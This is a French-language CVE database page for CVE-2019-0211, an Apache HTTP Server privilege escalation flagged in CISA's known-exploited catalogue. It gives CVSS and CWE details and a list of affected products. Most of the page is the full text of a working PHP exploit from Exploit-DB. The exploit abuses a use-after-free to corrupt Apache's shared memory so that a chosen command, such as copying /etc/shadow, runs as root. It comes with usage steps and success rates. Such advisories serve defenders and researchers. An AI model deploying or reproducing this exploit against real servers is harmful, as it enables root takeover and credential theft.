Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Apache HTTP Server Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23h00 +00:00
Action attendue : 2022-05-02 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46676
Date de publication : 2019-04-07 22h00 +00:00
Auteur : cfreal
EDB Vérifié : No
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W --% S F
# 5 87% 177 26 (default)
# 8 89% 60 8
# 10 95% 70 4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#
o('CARPE (DIEM) ~ CVE-2019-0211');
o('');
error_reporting(E_ALL);
# Starts the exploit by triggering the UAF.
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
# replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
# end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
# y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
# especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
# mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
# function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
# bucket
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
#
# Setup memory
#
o('Triggering UAF');
o(' Creating room and filling empty spaces');
# Fill empty blocks to make sure our allocations will be contiguous
# I: Since a lot of allocations/deallocations happen before the script
# is ran, two variables instanciated at the same time might not be
# contiguous: this can be a problem for a lot of reasons.
# To avoid this, we instanciate several DateInterval objects. These
# objects will fill a lot of potentially non-contiguous memory blocks,
# ensuring we get "fresh memory" in upcoming allocations.
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
# Create some space for our UAF blocks not to get overwritten
# I: A PHP object is a combination of a lot of structures, such as
# zval, zend_object, zend_object_handlers, zend_string, etc., which are
# all allocated, and freed when the object is destroyed.
# After the UAF is triggered on the object, all the structures that are
# used to represent it will be marked as free.
# If we create other variables afterwards, those variables might be
# allocated in the object's previous memory regions, which might pose
# problems for the rest of the exploitation.
# To avoid this, we allocate a lot of objects before the UAF, and free
# them afterwards. Since PHP's heap is LIFO, when we create other vars,
# they will take the place of those objects instead of the object we
# are triggering the UAF on. This means our object is "shielded" and
# we don't have to worry about breaking it.
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
# Build string meant to fill old DateInterval's timelib_rel_time
# I: ptr2str's name is unintuitive here: we just want to allocate a
# zend_string of size 78.
$_protector = ptr2str(0, 78);
o(' Allocating $abc and $p');
# Create ABC
# I: This is the variable we will use to R/W memory afterwards.
# After we free the Z object, we'll make sure abc is overwritten by a
# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
# of this structure can be modified easily, meaning we can change the
# size of abc. This will allow us to read/write memory after abc.
$this->abc = ptr2str(0, 79);
# Create $p meant to protect $this's blocks
# I: Right after we trigger the UAF, we will unset $p.
# This means that the timelib_rel_time structure (TRT) of this object
# will be freed. We will then allocate a string ($protector) of the same
# size as TRT. Since PHP's heap is LIFO, the string will take the place
# of the now-freed TRT in memory.
# Then, we create a new DateInterval object ($x). From the same
# assumption, every structure constituting this new object will take the
# place of the previous structure. Nevertheless, since TRT's memory
# block has already been replaced by $protector, the new TRT will be put
# in the next free blocks of the same size, which happens to be $abc
# (remember, |abc| == |timelib_rel_time|).
# We now have the following situation: $x is a DateInterval object whose
# internal TRT structure has the same address as $abc's zend_string.
$p = new DateInterval('PT1S');
#
# Trigger UAF
#
o(' Unsetting both variables and setting $protector');
# UAF here, $this is usable despite being freed
unset($y[0]);
# Protect $this's freed blocks
unset($p);
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
# !!! This is only required for apache
# Got no idea as to why there is an extra deallocation (?)
$room[] = "!$_protector";
o(' Creating DateInterval object');
# After this line:
# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
# We can control the structure of $this->abc and therefore read/write
# anything that comes after it in memory by changing its size and
# making in-place edits using $this->abc[$position] = $char
$x = new DateInterval('PT1S');
# zend_string.refcount = 0
# It will get incremented at some point, and if it is > 1,
# zend_assign_to_string_offset() will try to duplicate it before making
# the in-place replacement
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
# Give us some room
# I: As indicated before, just unset a lot of stuff so that next allocs
# don't break our fragile UAFd structure.
unset($room);
#
# Setup the R/W primitive
#
# We control $abc's internal zend_string structure, therefore we can R/W
# the shared memory block (SHM), but for that we need to know the
# position of $abc in memory
# I: We know the absolute position of the SHM, so we need to need abc's
# as well, otherwise we cannot compute the offset
# Assuming the allocation was contiguous, memory looks like this, with
# 0x70-sized fastbins:
# [zend_string:abc]
# [zend_string:protector]
# [FREE#1]
# [FREE#2]
# Therefore, the address of the 2nd free block is in the first 8 bytes
# of the first block: 0x70 * 2 - 24
$address = str2ptr($this->abc, 0x70 * 2 - 24);
# The address we got points to FREE#2, hence we're |block| * 3 higher in
# memory
$address = $address - 0x70 * 3;
# The beginning of the string is 24 bytes after its origin
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
o('');
# Compute the size required for our string to include the whole SHM and
# apache's memory region
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) -
$address
;
$x->d = $distance;
# We can now read/write in the whole SHM and apache's memory region.
#
# Find all_buckets in memory
#
# We are looking for a structure s.t.
# |all_buckets, mutex| = 0x10
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
if(!$all_buckets)
{
o('Unable to find all_buckets');
exit();
}
o('');
# The address of all_buckets will change when apache is gracefully
# restarted. This is a problem because we need to know all_buckets's
# address in order to make all_buckets[some_index] point to a memory
# region we control.
#
# Compute potential bucket indexes and their addresses
#
o('Computing potential bucket indexes and addresses');
# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
# with data we like. We keep the one at the top to store our payload.
# The rest is sprayed with the address of our payload.
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
# I get strange errors if I use every "free" item, so I leave twice as
# many items free. I'm guessing upon startup some
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets - $spray_middle) /
$size_prefork_child_bucket
);
#
# Build payload
#
# A worker_score structure was kept empty to put our payload in
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
# Offset 8 cannot be 0, but other than this you can type whatever
# command you want
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
# The second pointer points to meth, and is used before reaching the
# arbitrary function call
# The third one and the last one are both used by the function call
# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
$payload =
$bucket .
$meth .
$properties
;
# Write the payload
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
# Fill the spray area with a pointer to properties
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] -
$addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');
# Find workers PID in the SHM: it indicates the beginning of their
# process_score structure. We can then change process_score.bucket to
# the index we computed. When apache reboots, it will use
# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
# which means we control the whole apr_proc_mutex_t structure.
# This structure contains pointers to multiple functions, especially
# mutex->meth->child_init(), which will be called before privileges
# are dropped.
# We do this for every worker PID, incrementing the bucket index so that
# we cover a bigger range.
o('Iterating in SHM to find PIDs...');
# Number of bucket indexes covered by our spray
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
# Number of bucket indexes covered by our spray and the PS structures
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
# First bucket index to handle
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
}
}
function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("\n");
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function in($i, $range)
{
return $i >= $range[0] && $i < $range[1];
}
/**
* Finds the offset of a symbol in a file.
*/
function find_symbol($file, $symbol)
{
$elf = file_get_contents($file);
$e_shoff = str2ptr($elf, 0x28);
$e_shentsize = str2ptr($elf, 0x3a, 2);
$e_shnum = str2ptr($elf, 0x3c, 2);
$dynsym_off = 0;
$dynsym_sz = 0;
$dynstr_off = 0;
for($i=0;$i<$e_shnum;$i++)
{
$offset = $e_shoff + $i * $e_shentsize;
$sh_type = str2ptr($elf, $offset + 0x04, 4);
$SHT_DYNSYM = 11;
$SHT_SYMTAB = 2;
$SHT_STRTAB = 3;
switch($sh_type)
{
case $SHT_DYNSYM:
$dynsym_off = str2ptr($elf, $offset + 0x18, 8);
$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
break;
case $SHT_STRTAB:
case $SHT_SYMTAB:
if(!$dynstr_off)
$dynstr_off = str2ptr($elf, $offset + 0x18, 8);
break;
}
}
if(!($dynsym_off && $dynsym_sz && $dynstr_off))
exit('.');
$sizeof_Elf64_Sym = 0x18;
for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
{
$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
$st_name = str2ptr($elf, $offset, 4);
if(!$st_name)
continue;
$offset_string = $dynstr_off + $st_name;
$end = strpos($elf, "\x00", $offset_string) - $offset_string;
$string = substr($elf, $offset_string, $end);
if($string == $symbol)
{
$st_value = str2ptr($elf, $offset + 0x8, 8);
return $st_value;
}
}
die('Unable to find symbol ' . $symbol);
}
# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
$addresses = [];
$data = file_get_contents('/proc/self/maps');
$follows_shm = false;
foreach(explode("\n", $data) as $line)
{
if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if ($bounds[1] - $bounds[0] == 0x14000)
{
$addresses['shm'] = $bounds;
$follows_shm = true;
}
}
if(
preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'system');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['system'] = $line + $offset;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r-xp')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprX'] = $bounds;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r--p')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprR'] = $bounds;
}
# Apache's memory block is between the SHM and ld.so
# Sometimes some rwx region gets mapped; all_buckets cannot be in there
# but we include it anyways for the sake of simplicity
if(
(
strpos($line, 'rw-p') ||
strpos($line, 'rwxp')
) &&
$follows_shm
)
{
if(strpos($line, '/lib'))
{
$follows_shm = false;
continue;
}
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if(!array_key_exists('apache', $addresses))
$addresses['apache'] = $bounds;
else if($addresses['apache'][1] == $bounds[0])
$addresses['apache'][1] = $bounds[1];
else
$follows_shm = false;
}
if(
preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'zend_object_std_dtor');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['zend_object_std_dtor'] = $line + $offset;
}
}
$expected = [
'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
];
$missing = array_diff($expected, array_keys($addresses));
if($missing)
{
o(
'The following addresses were not determined by parsing ' .
'/proc/self/maps: ' . implode(', ', $missing)
);
exit(0);
}
o('PID: ' . getmypid());
o('Fetching addresses');
foreach($addresses as $k => $a)
{
if(!is_array($a))
$a = [$a];
o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
return '0x' . dechex($z);
}, $a)));
}
o('');
return $addresses;
}
# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
o('Obtaining apache workers PIDs');
$pids = [];
$cmd = file_get_contents('/proc/self/cmdline');
$processes = glob('/proc/*');
foreach($processes as $process)
{
if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
continue;
$pid = (int) $match[1];
if(
!is_readable($process . '/cmdline') ||
!is_readable($process . '/status')
)
continue;
if($cmd !== file_get_contents($process . '/cmdline'))
continue;
$status = file_get_contents($process . '/status');
foreach(explode("\n", $status) as $line)
{
if(
strpos($line, 'Uid:') === 0 &&
preg_match('#\b' . posix_getuid() . '\b#', $line)
)
{
o(' Found apache worker: ' . $pid);
$pids[$pid] = $pid;
break;
}
}
}
o('Got ' . sizeof($pids) . ' PIDs.');
o('');
return $pids;
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
Products Mentioned
Configuraton 0
Apache>>Http_server >> Version From (including) 2.4.17 To (including) 2.4.38
Configuraton 0
Fedoraproject>>Fedora >> Version 28
Fedoraproject>>Fedora >> Version 29
Fedoraproject>>Fedora >> Version 30
Configuraton 0
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 18.10
Configuraton 0
Debian>>Debian_linux >> Version 9.0
Configuraton 0
Opensuse>>Leap >> Version 15.0
Opensuse>>Leap >> Version 42.3
Configuraton 0
Netapp>>Oncommand_unified_manager >> Version -
Configuraton 0
Redhat>>Jboss_core_services >> Version 1.0
Redhat>>Openshift_container_platform >> Version 3.11
Redhat>>Openshift_container_platform_for_power >> Version 3.11_ppc64le
Redhat>>Software_collections >> Version 1.0
Redhat>>Enterprise_linux >> Version 8.0
Redhat>>Enterprise_linux_eus >> Version 8.1
Redhat>>Enterprise_linux_eus >> Version 8.2
Redhat>>Enterprise_linux_eus >> Version 8.4
Redhat>>Enterprise_linux_eus >> Version 8.6
Redhat>>Enterprise_linux_eus >> Version 8.8
Redhat>>Enterprise_linux_for_arm_64 >> Version 8.0_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.1_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.2_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.4_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.6_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.8_aarch64
Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 8.0_s390x
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_server_aus >> Version 8.2
Redhat>>Enterprise_linux_server_aus >> Version 8.4
Redhat>>Enterprise_linux_server_aus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.2
Redhat>>Enterprise_linux_server_tus >> Version 8.4
Redhat>>Enterprise_linux_server_tus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.8
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.0
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.0 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.1
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.1 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.4
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.4 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.6
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.6 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.8
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.8 (Open CPE detail)
Configuraton 0
Oracle>>Communications_session_report_manager >> Version 8.0.0
Oracle>>Communications_session_report_manager >> Version 8.1.0
Oracle>>Communications_session_report_manager >> Version 8.1.1
Oracle>>Communications_session_report_manager >> Version 8.2.0
Oracle>>Communications_session_route_manager >> Version 8.0.0
Oracle>>Communications_session_route_manager >> Version 8.1.0
Oracle>>Communications_session_route_manager >> Version 8.1.1
Oracle>>Communications_session_route_manager >> Version 8.2.0
Oracle>>Enterprise_manager_ops_center >> Version 12.3.3
Oracle>>Enterprise_manager_ops_center >> Version 12.4.0
Oracle>>Http_server >> Version 12.2.1.3.0
Oracle>>Instantis_enterprisetrack >> Version 17.1
Oracle>>Instantis_enterprisetrack >> Version 17.2
Oracle>>Instantis_enterprisetrack >> Version 17.3
Oracle>>Retail_xstore_point_of_service >> Version 7.0
Oracle>>Retail_xstore_point_of_service >> Version 7.1
Références